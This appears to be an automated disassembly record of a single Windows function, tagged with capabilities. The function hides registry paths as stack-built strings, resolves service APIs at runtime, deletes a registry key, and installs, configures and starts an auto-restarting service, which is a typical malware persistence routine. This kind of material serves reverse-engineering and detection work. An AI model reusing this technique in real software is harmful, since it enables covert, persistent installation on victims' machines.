Function at 0x403044
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403940
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2dc
push ebx
push esi
push edi
push 0x4071a4
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x260], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x280], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x258], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x26c], eax
push 0x40722c
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x274], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x254], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x288], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x284], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x270], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x24c], eax
push str.GetLastError
mov ebx, 0x407144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x278], eax
push str.WinExec
push ebx
call esi
push eax
call edi
push dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
cmp esi, ebx
je 0x403179
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call fcn.00401eba
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x248]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0x59
mov byte [ebp - 0x3a], 0x53
mov byte [ebp - 0x39], 0x54
mov byte [ebp - 0x38], 0x45
mov byte [ebp - 0x37], 0x4d
mov byte [ebp - 0x36], 0x5c
mov byte [ebp - 0x35], 0x43
mov byte [ebp - 0x34], 0x75
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2e], 0x43
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x6c
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x5c
mov byte [ebp - 0x23], 0x53
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x76
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x73
mov byte [ebp - 0x1b], 0x5c
mov byte [ebp - 0x1a], bl
push dword [ebp + 8]
lea eax, [ebp - 0x3c]
push eax
push str._s_s
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x248]
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 0x25c], ebx
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x264], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [ebp - 0x280]
mov edi, eax
mov dword [ebp - 0x264], edi
cmp edi, ebx
je 0x403583
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 0x14]
push 1
pop esi
push esi
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [ebp - 0x40]
mov dword [ebp - 0x268], eax
push edi
call dword [ebp - 0x24c]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x28c]
push eax
push esi
push dword [ebp - 0x268]
call dword [ebp - 0x270]
mov dword [ebp - 0x2c8], ebx
xor eax, eax
lea edi, [ebp - 0x2c4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x2c4], ebx
mov dword [ebp - 0x2c8], 0x15180
mov dword [ebp - 0x2a0], ebx
mov dword [ebp - 0x2a4], esi
mov dword [ebp - 0x298], ebx
mov dword [ebp - 0x29c], esi
mov dword [ebp - 0x290], ebx
mov dword [ebp - 0x294], esi
mov dword [ebp - 0x2bc], 3
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2c0], ebx
lea eax, [ebp - 0x2c8]
push eax
push 2
push dword [ebp - 0x268]
call dword [ebp - 0x270]
push dword [ebp - 0x2a8]
call dword [ebp - 0x284]
cmp dword [ebp + 0x18], esi
jne 0x4033a9
cmp dword [ebp - 0x268], ebx
jne 0x403393
call dword [ebp - 0x278]
cmp eax, 0x431
jne 0x403393
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x264]
call dword [ebp - 0x258]
mov dword [ebp - 0x268], eax
cmp eax, ebx
je 0x403583
push ebx
push ebx
push eax
call dword [ebp - 0x254]
push ebx
push ebx
push dword [ebp - 0x268]
call dword [ebp - 0x254]
test eax, eax
je 0x403583
mov byte [ebp - 0x2ec], 0x53
mov byte [ebp - 0x2eb], 0x59
mov byte [ebp - 0x2ea], 0x53
mov byte [ebp - 0x2e9], 0x54
mov byte [ebp - 0x2e8], 0x45
mov byte [ebp - 0x2e7], 0x4d
mov byte [ebp - 0x2e6], 0x5c
mov byte [ebp - 0x2e5], 0x43
mov byte [ebp - 0x2e4], 0x75
mov byte [ebp - 0x2e3], 0x72
mov byte [ebp - 0x2e2], 0x72
mov byte [ebp - 0x2e1], 0x65
mov byte [ebp - 0x2e0], 0x6e
mov byte [ebp - 0x2df], 0x74
mov byte [ebp - 0x2de], 0x43
mov byte [ebp - 0x2dd], 0x6f
mov byte [ebp - 0x2dc], 0x6e
mov byte [ebp - 0x2db], 0x74
mov byte [ebp - 0x2da], 0x72
mov byte [ebp - 0x2d9], 0x6f
mov byte [ebp - 0x2d8], 0x6c
mov byte [ebp - 0x2d7], 0x53
mov byte [ebp - 0x2d6], 0x65
mov byte [ebp - 0x2d5], 0x74
mov byte [ebp - 0x2d4], 0x5c
mov byte [ebp - 0x2d3], 0x53
mov byte [ebp - 0x2d2], 0x65
mov byte [ebp - 0x2d1], 0x72
mov byte [ebp - 0x2d0], 0x76
mov byte [ebp - 0x2cf], 0x69
mov byte [ebp - 0x2ce], 0x63
mov byte [ebp - 0x2cd], 0x65
mov byte [ebp - 0x2cc], 0x73
mov byte [ebp - 0x2cb], 0x5c
mov byte [ebp - 0x2ca], bl
lea edi, [ebp - 0x2ec]
lea edx, [ebp - 0x144]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x144]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x144]
push eax
push connect
call dword [ebp - 0x288]
mov byte [ebp - 0x2b4], 0x44
mov byte [ebp - 0x2b3], 0x65
mov byte [ebp - 0x2b2], 0x73
mov byte [ebp - 0x2b1], 0x63
mov byte [ebp - 0x2b0], 0x72
mov byte [ebp - 0x2af], 0x69
mov byte [ebp - 0x2ae], 0x70
mov byte [ebp - 0x2ad], 0x74
mov byte [ebp - 0x2ac], 0x69
mov byte [ebp - 0x2ab], 0x6f
mov byte [ebp - 0x2aa], 0x6e
mov byte [ebp - 0x2a9], bl
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push 1
push ebx
lea eax, [ebp - 0x2b4]
push eax
push dword [ebp - 0x25c]
call dword [ebp - 0x274]
or dword [ebp - 4], 0xffffffff
call fcn.0040359d
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret